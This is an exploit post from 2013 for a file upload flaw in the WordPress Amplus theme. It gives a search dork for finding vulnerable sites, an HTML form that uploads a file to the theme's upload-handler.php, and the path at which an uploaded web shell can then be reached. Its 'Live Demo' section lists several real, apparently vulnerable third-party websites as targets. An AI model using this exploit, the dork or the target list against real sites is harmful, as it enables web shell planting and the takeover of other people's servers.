XRWRR: WordPress Amplus CSRF

WordPress Amplus CSRF

#Title : Wordpress Amplus Themes CSRF File Upload Vulnerability

#Author : DevilScreaM

#Date : 11/17/2013 - 17 November 2013

#Category : Web Applications

#Type : PHP

#Vendor : http://themeforest.net

#Download : http://themeforest.net/item/amplus-responsive-multilingual-wordpress-theme/

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security

Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber | Indonesian Coder

#Tested : Mozila, Chrome, Opera -> Windows & Linux

#Vulnerabillity : CSRF

#Dork :

inurl:wp-content/themes/amplus

CSRF File Upload Vulnerability

Exploit & POC :

http://site-target/wp-content/themes/amplus/functions/upload-handler.php

Script :

<form enctype="multipart/form-data"

action="http://127.0.0.1/wp-content/themes/amplus/functions/upload-handler.php" method="post">

Your File: <input name="uploadfile" type="file" /><br />

</form>

File Access :

http://site-target/uploads/[years]/[month]/your_shell.php

Example : http://127.0.0.1/wp-content/uploads/2013/11/devilscream.php

Live Demo :

http://telplus-inc.com/blog/wp-content/themes/amplus/functions/upload-handler.php

http://intuneautoworks.com/home/wp-content/themes/amplus/functions/upload-handler.php

http://wnglaw.com/wp-content/themes/amplus/functions/upload-handler.php

http://amaboston.org/wp-content/themes/amplus/functions/upload-handler.php

http://tenniswithlegeorge.com/wp-content/themes/amplus/functions/upload-handler.php